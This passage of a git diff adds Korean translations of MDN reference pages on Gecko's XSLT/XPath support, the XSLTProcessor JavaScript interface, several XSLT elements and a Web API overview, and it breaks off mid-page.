+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:value-of" name="xsl:value-of"><a href="ko/XSLT/value-of">xsl:value-of</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="xsl:variable" name="xsl:variable"><a href="ko/XSLT/variable">xsl:variable</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:when" name="xsl:when"><a href="ko/XSLT/when">xsl:when</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:with-param" name="xsl:with-param"><a href="ko/XSLT/with-param">xsl:with-param</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h3 id=".EC.B6.95" name=".EC.B6.95"><a href="ko/XPath/Axes">축</a></h3>
+<h4 id="ancestor" name="ancestor"><a href="ko/XPath/Axes/ancestor">ancestor</a></h4>
+<h4 id="ancestor-or-self" name="ancestor-or-self"><a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a></h4>
+<h4 id="attribute" name="attribute"><a href="ko/XPath/Axes/attribute">attribute</a></h4>
+<h4 id="child" name="child"><a href="ko/XPath/Axes/child">child</a></h4>
+<h4 id="descendant" name="descendant"><a href="ko/XPath/Axes/descendant">descendant</a></h4>
+<h4 id="descendant-or-self" name="descendant-or-self"><a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a></h4>
+<h4 id="following" name="following"><a href="ko/XPath/Axes/following">following</a></h4>
+<h4 id="following-sibling" name="following-sibling"><a href="ko/XPath/Axes/following-sibling">following-sibling</a></h4>
+<h4 id="namespace" name="namespace"><a href="ko/XPath/Axes/namespace">namespace</a></h4>
+<dl>
+ <dd>
+ <i>
+ (지원 안 함)</i>
+ </dd>
+</dl>
+<h4 id="parent" name="parent"><a href="ko/XPath/Axes/parent">parent</a></h4>
+<h4 id="preceding" name="preceding"><a href="ko/XPath/Axes/preceding">preceding</a></h4>
+<h4 id="preceding-sibling" name="preceding-sibling"><a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a></h4>
+<h4 id="self" name="self"><a href="ko/XPath/Axes/self">self</a></h4>
+<h3 id=".ED.95.A8.EC.88.98" name=".ED.95.A8.EC.88.98"><a href="ko/XPath/Functions">함수</a></h3>
+<h4 id="boolean.28.29" name="boolean.28.29"><a href="ko/XPath/Functions/boolean">boolean()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="ceiling.28.29" name="ceiling.28.29"><a href="ko/XPath/Functions/ceiling">ceiling()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="concat.28.29" name="concat.28.29"><a href="ko/XPath/Functions/concat">concat()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="contains.28.29" name="contains.28.29"><a href="ko/XPath/Functions/contains">contains()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="count.28.29" name="count.28.29"><a href="ko/XPath/Functions/count">count()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="current.28.29" name="current.28.29"><a href="ko/XPath/Functions/current">current()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="document.28.29" name="document.28.29"><a href="ko/XPath/Functions/document">document()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="element-available.28.29" name="element-available.28.29"><a href="ko/XPath/Functions/element-available">element-available()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="false.28.29" name="false.28.29"><a href="ko/XPath/Functions/false">false()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="floor.28.29" name="floor.28.29"><a href="ko/XPath/Functions/floor">floor()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="format-number.28.29" name="format-number.28.29"><a href="ko/XPath/Functions/format-number">format-number()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="function-available.28.29" name="function-available.28.29"><a href="ko/XPath/Functions/function-available">function-available()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="generate-id.28.29" name="generate-id.28.29"><a href="ko/XPath/Functions/generate-id">generate-id()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="id.28.29" name="id.28.29"><a href="ko/XPath/Functions/id">id()</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="key.28.29" name="key.28.29"><a href="ko/XPath/Functions/key">key()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="lang.28.29" name="lang.28.29"><a href="ko/XPath/Functions/lang">lang()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="last.28.29" name="last.28.29"><a href="ko/XPath/Functions/last">last()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="local-name.28.29" name="local-name.28.29"><a href="ko/XPath/Functions/local-name">local-name()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="name.28.29" name="name.28.29"><a href="ko/XPath/Functions/name">name()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="namespace-uri.28.29" name="namespace-uri.28.29"><a href="ko/XPath/Functions/namespace-uri">namespace-uri()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="normalize-space.28.29" name="normalize-space.28.29"><a href="ko/XPath/Functions/normalize-space">normalize-space()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="not.28.29" name="not.28.29"><a href="ko/XPath/Functions/not">not()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="number.28.29" name="number.28.29"><a href="ko/XPath/Functions/number">number()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="position.28.29" name="position.28.29"><a href="ko/XPath/Functions/position">position()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="round.28.29" name="round.28.29"><a href="ko/XPath/Functions/round">round()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="starts-with.28.29" name="starts-with.28.29"><a href="ko/XPath/Functions/starts-with">starts-with()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="string.28.29" name="string.28.29"><a href="ko/XPath/Functions/string">string()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="string-length.28.29" name="string-length.28.29"><a href="ko/XPath/Functions/string-length">string-length()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="substring.28.29" name="substring.28.29"><a href="ko/XPath/Functions/substring">substring()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="substring-after.28.29" name="substring-after.28.29"><a href="ko/XPath/Functions/substring-after">substring-after()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="substring-before.28.29" name="substring-before.28.29"><a href="ko/XPath/Functions/substring-before">substring-before()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="sum.28.29" name="sum.28.29"><a href="ko/XPath/Functions/sum">sum()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="system-property.28.29" name="system-property.28.29"><a href="ko/XPath/Functions/system-property">system-property()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="translate.28.29" name="translate.28.29"><a href="ko/XPath/Functions/translate">translate()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="true.28.29" name="true.28.29"><a href="ko/XPath/Functions/true">true()</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="unparsed-entity-url.28.29" name="unparsed-entity-url.28.29"><a href="ko/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a></h4>
+<p>
+ <i>
+ (지원 안 함)</i>
+</p>
+<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "pl": "pl/Transformacje_XML_z_XSLT/Dokumentacja_XSLT//XPath" } ) }}</p>
diff --git a/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html b/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html
new file mode 100644
index 0000000000..c85fcc8029
--- /dev/null
+++ b/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html
@@ -0,0 +1,60 @@
+---
+title: Using the Mozilla JavaScript interface to XSL Transformations
+slug: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+tags:
+ - XSLT
+translation_of: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+---
+<p>이 문서는 Mozilla 1.2의 JavaScript 인터페이스부터 XSLT 처리 엔진(TransforMiiX)까지 설명합니다.</p>
+<h3 id="XSLTProcessor_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="XSLTProcessor_.EB.A7.8C.EB.93.A4.EA.B8.B0">XSLTProcessor 만들기</h3>
+<p>시작하기 위해, <a href="ko/XSLTProcessor">XSLTProcessor</a> 개체 만들기가 필요합니다.</p>
+<pre class="eval">var processor = new XSLTProcessor();
+</pre>
+<h3 id=".EC.8A.A4.ED.83.80.EC.9D.BC.EC.8B.9C.ED.8A.B8_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0" name=".EC.8A.A4.ED.83.80.EC.9D.BC.EC.8B.9C.ED.8A.B8_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0">스타일시트 지정하기</h3>
+<p>쓸 수 있으려면 그 전에 <code>importStylesheet()</code> 함수로 스타일시트를 가져와야(import) 합니다. 가져올 XSLT 스타일시트의 DOM 노드인 매개변수가 하나 있습니다. 가져오기는 동적임을 (가져온 뒤로 스타일시트 DOM을 바꾸면, 이는 처리에 반영됨을 뜻함) 주의하세요. 그러나 DOM 수정 대신 스타일시트 매개변수 사용을 권장합니다. 이는 보통 더 쉽고 더 나은 성능을 줄 수 있습니다.</p>
+<pre>var testTransform = document.implementation.createDocument("", "test", null);
+// just an example to get a transform into a script as a DOM
+// XMLDocument.load is asynchronous, so all processing happens in the
+// onload handler
+testTransform.addEventListener("load", onload, false);
+testTransform.load("test-transform.xml");
+function onload() {
+ processor.importStylesheet(testTransform);
+}
+</pre>
+<p><code>importStylesheet</code>는 DOM 노드인 인수가 하나 필요합니다. 그 노드가 문서 노드면 전체 XSL Transform이나 <a class="external" href="http://www.w3.org/TR/xslt#result-element-stylesheet">literal result element transform</a>에 넘길 수 있습니다, 그렇지 않으면 &lt;tt&gt;xsl:stylesheet&lt;/tt&gt;나 &lt;tt&gt;xsl:transform&lt;/tt&gt; 요소이어야 합니다.</p>
+<h3 id=".EB.AC.B8.EC.84.9C_.EB.B3.80.ED.99.98.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.84.9C_.EB.B3.80.ED.99.98.ED.95.98.EA.B8.B0">문서 변환하기</h3>
+<p>지정한 XSLT 스타일시트를 써서 문서를 변환하기 위해 <a href="#transformToDocument"><code>transformToDocument()</code></a>나 <a href="#transformToFragment"><code>transformToFragment()</code></a> 메소드를 쓸 수 있습니다.</p>
+<h4 id="transformToDocument" name="transformToDocument">transformToDocument</h4>
+<p><code>transformToDocument()</code>는 변환할 소스 노드인 인수를 하나 취하고 변환 결과를 갖는 새 DOM <code>Document</code>를 반환합니다.</p>
+<pre class="eval">var newDocument = processor.transformToDocument(domToBeTransformed);
+</pre>
+<p>결과 개체는 스타일시트의 <a class="external" href="http://www.w3.org/TR/xslt#output">output 메소드</a>가 &lt;tt&gt;html&lt;/tt&gt;이면 <code>HTMLDocument</code>, &lt;tt&gt;xml&lt;/tt&gt;이면 <code>XMLDocument</code>, &lt;tt&gt;text&lt;/tt&gt;이면 자식이 text인 단일 루트 요소 <code>&lt;transformiix:result&gt;</code>를 갖는 <code>XMLDocument</code>입니다.</p>
+<h4 id="transformToFragment" name="transformToFragment">transformToFragment</h4>
+<p>또한 DOM <code>DocumentFragment</code> 노드를 반환하는 <code>transformToFragment()</code>를 쓸 수 있습니다. 이는 조각(fragment)을 다른 노드에 투명하게 추가함이 그 조각의 자손 모두를 추가하고 조각 자체는 합치지(merge) 않기 때문에 편리합니다. 그러므로 조각은 여기저기 노드 옮기기와 전체 문서 개체의 overhead 없이 저장하기에 쓸모가 있습니다.</p>
+<p><code>transformToFragment</code>는 인수 둘을 취합니다. 변환할 소스 문서(위와 같이)와 조각(조각 모두는 문서가 소유해야 합니다)를 소유하는 <code>Document</code> 개체.</p>
+<pre class="eval">var ownerDocument = document.implementation.createDocument("", "test", null);
+var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument);
+</pre>
+<p><code>transformToFragment</code>는 소유자 문서 자신이 <code>HTMLDocument</code>이거나 스타일시트의 output 메소드가 HTML이면 오직 HTML DOM 개체를 만들어냅니다. 다만 결과의 최상위 요소가 <code>transformToFragment</code>로 이 요소를 만드는 데 좀처럼 쓰지 않는 <code>&lt;html&gt;</code>이면 HTML DOM 개체를 만들어내지 <b>않</b>습니다. 이를 재정의(override)하고 싶으면, 보통은 표준 방식으로 output 메소드를 설정할 수 있습니다.</p>
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_.EC.84.A4.EC.A0.95" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_.EC.84.A4.EC.A0.95">매개변수 설정</h3>
+<p><code>setParameter</code>, <code>getParameter</code>, <code>removeParameter</code> 메소드를 써서 <a class="external" href="http://www.w3.org/TR/xslt#variables">parameters for the stylesheet</a>를 조절할 수 있습니다. 이들은 모두 <code>setParameter</code> 메소드는 세 번째도 취하면서 처음 두 매개변수로 이름공간 URI와 지역명을 설정한 매개변수 값을 취합니다.</p>
+<h3 id=".EC.9E.AC.EC.84.A4.EC.A0.95" name=".EC.9E.AC.EC.84.A4.EC.A0.95">재설정</h3>
+<p><code>XSLTProcessor</code> 개체는 또한 모든 스타일시트와 매개변수를 제거하고 처리기(processor)를 초기 상태로 되돌리는 데 쓸 수 있는 <code>reset()</code> 메소드를 구현합니다. 이 메소드는 <a href="ko/Gecko">Mozilla</a> 1.3과 그 뒤에 구현됩니다.</p>
+<h3 id="Resources" name="Resources">Resources</h3>
+<ul>
+ <li><a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/public/nsIXSLTProcessor.idl" rel="custom">nsIXSLTProcessor.idl</a>는 항상 <code>XSLTProcessor</code> 개체의 실제 인터페이스를 반영합니다.
+ <ul>
+ <li><a class="external" href="http://xulplanet.com/references/objref/XSLTProcessor.html">A XULPlanet reference page</a>.</li>
+ </ul>
+ </li>
+ <li><a class="external" href="http://lxr.mozilla.org/seamonkey/source/content/xslt/public/nsIXSLTProcessorObsolete.idl">The nsIXMLProcessorObsolete IDL file</a> <span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span>: 1.2판보다 앞서는 Mozilla의 JS 인터페이스.</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h3>
+ <ul>
+ <li>저자: <a class="link-mailto" href="mailto:mike@theoretic.com">Mike Hearn</a></li>
+ <li>최종 업데이트: December 21, 2005</li>
+ <li>저작권 정보: Copyright (C) Mike Hearn</li>
+ </ul>
+</div>
diff --git a/files/ko/web/xslt/value-of/index.html b/files/ko/web/xslt/value-of/index.html
new file mode 100644
index 0000000000..90f1777bed
--- /dev/null
+++ b/files/ko/web/xslt/value-of/index.html
@@ -0,0 +1,31 @@
+---
+title: value-of
+slug: Web/XSLT/value-of
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/value-of
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:value-of&gt;</code> 요소는 XPath 식을 평가하여 그것을 문자열로 바꾸고 문자열을 결과 트리에 씁니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:value-of select=EXPRESSION disable-output-escaping="yes" | "no" /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 평가하고 출력 트리에 쓸 XPath 식을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>disable-output-escaping</code> (Netscape은 변환 결과를 "output" 아래에 직렬하지 않습니다. 그래서 이 속성은 본래 문맥에서는 무의미합니다. HTML 엔티티를 출력하기 위해서는, 대신 숫자값을 쓰세요. 보기 &amp;<code>nbsp</code> 대신 <code>&amp;#160</code>)</dt>
+ <dd>
+ 특수 문자를 출력에 쓸 때 해석할(escape) 지를 지정합니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다. 예를 들어, "<code>yes</code>"로 하면, &lt;tt&gt;&gt;&lt;/tt&gt; 문자의 출력은 "<code>&amp;gt</code>"가 아니라 <code>&gt;</code>입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#value-of">XSLT section 7.6.1, Generating Text with xsl:value-of</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>위 경우를 빼고는 지원함.</p>
diff --git a/files/ko/web/xslt/variable/index.html b/files/ko/web/xslt/variable/index.html
new file mode 100644
index 0000000000..8568f70b20
--- /dev/null
+++ b/files/ko/web/xslt/variable/index.html
@@ -0,0 +1,33 @@
+---
+title: variable
+slug: Web/XSLT/variable
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/variable
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:variable&gt;</code> 요소는 스타일시트에 전역 변수나 지역 변수를 선언하고 그 변수에 값을 줍니다. XSLT가 부작용(side-effect)을 허용하지 않기 때문에, 변수값을 한 번 주면 그 변수는 범위(scope)를 벗어날 때까지 같은 값입니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:variable name=NAME select=EXPRESSION &gt;
+ TEMPLATE
+&lt;/xsl:variable&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 변수에 이름을 줍니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 변수값을 XPath 식으로 정의합니다. 요소가 템플릿을 포함하면, 이 속성은 무시합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위 또는 명령. 최상위 요소로 나타나면, 변수의 범위는 전역이고 문서 전체에서 접근할 수 있습니다. 템플릿 안에 나타나면, 번수의 범위는 지역이고 나타난 템플릿 안에서만 접근할 수 있습니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#variables">XSLT section 11, Variables and Parameters</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/when/index.html b/files/ko/web/xslt/when/index.html
new file mode 100644
index 0000000000..4d5f52d9c3
--- /dev/null
+++ b/files/ko/web/xslt/when/index.html
@@ -0,0 +1,28 @@
+---
+title: when
+slug: Web/XSLT/when
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/when
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:when&gt;</code> 요소는 항상 case 문처럼 동작하는 <code>&lt;xsl:choose&gt;</code> 요소 안에 나타납니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:when test=EXPRESSION&gt;
+ TEMPLATE
+&lt;/xsl:when&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>test</code></dt>
+ <dd>
+ 평가할 boolean 식을 지정합니다. 참이면, 요소의 컨텐트는 처리하고 거짓이면, 무시합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:choose&gt;</code> 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/with-param/index.html b/files/ko/web/xslt/with-param/index.html
new file mode 100644
index 0000000000..cd96049cc5
--- /dev/null
+++ b/files/ko/web/xslt/with-param/index.html
@@ -0,0 +1,33 @@
+---
+title: with-param
+slug: Web/XSLT/with-param
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/with-param
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:with-param&gt;</code> 요소는 템플릿에 건네는 매개변수 값을 지정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:with-param name=NAME select=EXPRESSION&gt;
+ TEMPLATE
+&lt;/xsl:with-param&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 이 매개변수에 이름을 줍니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ XPath 식을 거치는 매개변수 값을 정의합니다. 요소가 템플릿을 포함하면, 이 속성은 무시합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:apply-templates&gt;</code>이나 code&gt;&lt;xsl:call-template&gt;&lt;/code&gt; 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Passing-Parameters-to-Templates">XSLT section 11.6, Passing Parameters to Templates</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/참조/api/index.html b/files/ko/web/참조/api/index.html
new file mode 100644
index 0000000000..363fa9d3e9
--- /dev/null
+++ b/files/ko/web/참조/api/index.html
@@ -0,0 +1,65 @@
+---
+title: Web API 설명집
+slug: Web/참조/API
+tags:
+ - API
+ - 대문
+ - 웹
+ - 편람
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">여러분이 알고 있는 웹에는 여러 유용한 작업을 수행할 수 있는 다양한 API가 제공됩니다. 이러한 API는 자바스크립트(JavaScript) 코드를 사용하여 접근할 수 있으며 {{domxref("window")}}나 {{domxref("element")}}에 대한 간단한 작업에서부터 <a href="/ko/docs/Web/WebGL">WebGL</a>이나 <a href="/ko/docs/Web_Audio_API">Web Audio</a>와 같은 API를 사용해 복잡한 그래픽 및 오디오 효과를 만들어내는 것까지 가능합니다.</span></p>
+
+<p>모든 API에 대한 각각의 인터페이스는 <a href="/ko/docs/Web/API">색인</a>에 열거돼 있습니다.</p>
+
+<p>또한 이벤트 레퍼런스에 <a href="/ko/docs/Web/Reference/Events">이용가능한 모든 이벤트 목록</a>도 있습니다.</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/ko/docs/DOM">문서 객체 모델(Document Object Model)</a></dt>
+ <dd>DOM은 문서를 조회하거나 수정할 수 있는 API입니다. 문서의 {{domxref("Node")}} 및 {{domxref("Element")}}를 조작할 수 있습니다. HTML, XML, SVG는 DOM을 확장함으로써 각각의 실제적인 요소(element)를 조작합니다.</dd>
+ <dt>디바이스 API</dt>
+ <dd>본 API는 웹 페이지 및 애플리케이션에서 사용할 수 있는 다양한 하드웨어 기능을 조작합니다. 예: <a href="/ko/docs/WebAPI/Using_Light_Events"> 주변 조명 센서 API</a>, <a href="/ko/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">배터리 상태 API</a>, <a href="/ko/docs/Using_geolocation" title="Using_geolocation">지리적 위치 API</a>, <a href="/ko/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">포인터 잠금 API</a>, <a href="/ko/docs/WebAPI/Proximity" title="WebAPI/Proximity">근접 API</a>, <a href="/ko/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">디바이스 방향성 API</a>, <a href="/ko/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">화면 방향성 API</a>, <a href="/ko/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">진동 API</a>.</dd>
+ <dt>커뮤니케이션 API</dt>
+ <dd>본 API는 웹 페이지 및 애플리케이션에서 다른 페이지나 기기와 통신할 수 있습니다. 예: <a href="/ko/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">네트워크 정보 API</a>, <a href="/ko/docs/WebAPI/Using_Web_Notifications" title="WebAPI/Using_Web_Notifications">웹 알림</a>, <a href="/ko/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">단순 푸시 API</a>.</dd>
+ <dt id="Data_management_APIs">데이터 관리 API</dt>
+ <dd>본 API는 사용자 데이터를 보관하고 관리할 수 있습니다. 예: <a href="/ko/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a>, <a href="/ko/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+</dl>
+
+<p>이러한 API는 어떠한 웹 사이트나 앱에서도 사용할 수 있지만 한정 권한 및 공인 애플리케이션에서는 더 강력한 Mozilla API 셋을 사용하실 수 있습니다.</p>
+
+<dl>
+ <dt>한정 권한 API</dt>
+ <dd>한정 권한 애플리케이션은 설치 방식 앱으로서 사용자가 특정 권리를 허용한 것입니다. 한정 권한 API로는 <a href="/ko/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP 소켓 API</a>, <a href="/ko/docs/WebAPI/Contacts" title="WebAPI/Contacts">주소록 API</a>, <a href="/ko/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">디바이스 스토리지 API</a>, <a href="/ko/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">브라우저 API</a> 등이 있습니다.</dd>
+ <dt>공인 API</dt>
+ <dd>공인된 애플리케이션은 파이어폭스 OS와 같은 운영체제에 중요한 조작을 수행하는 저층(low-level) 애플리케이션입니다. 한정 권한이 낮은 애플리케이션은 <a href="/ko/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities"> Web Activities</a>를 사용하여 이러한 애플리케이션과 소통합니다. 공인 API로는 <a href="/ko/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth"> 블루투스 API</a>, <a href="/ko/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection"> 모바일 연결 API</a>, <a href="/ko/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats"> 네트워크 상태 API</a>,<a href="/ko/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony"> 전화 기능</a>,<a href="/ko/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS</a>,<a href="/ko/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information"> 와이파이 정보 API</a>, <a href="/ko/docs/WebAPI/Camera" title="WebAPI/Camera">카메라 API</a>,<a href="/ko/docs/WebAPI/Power_Management" title="WebAPI/Power_Management"> 전원 관리 API</a>, <a href="/ko/docs/WebAPI/Settings" 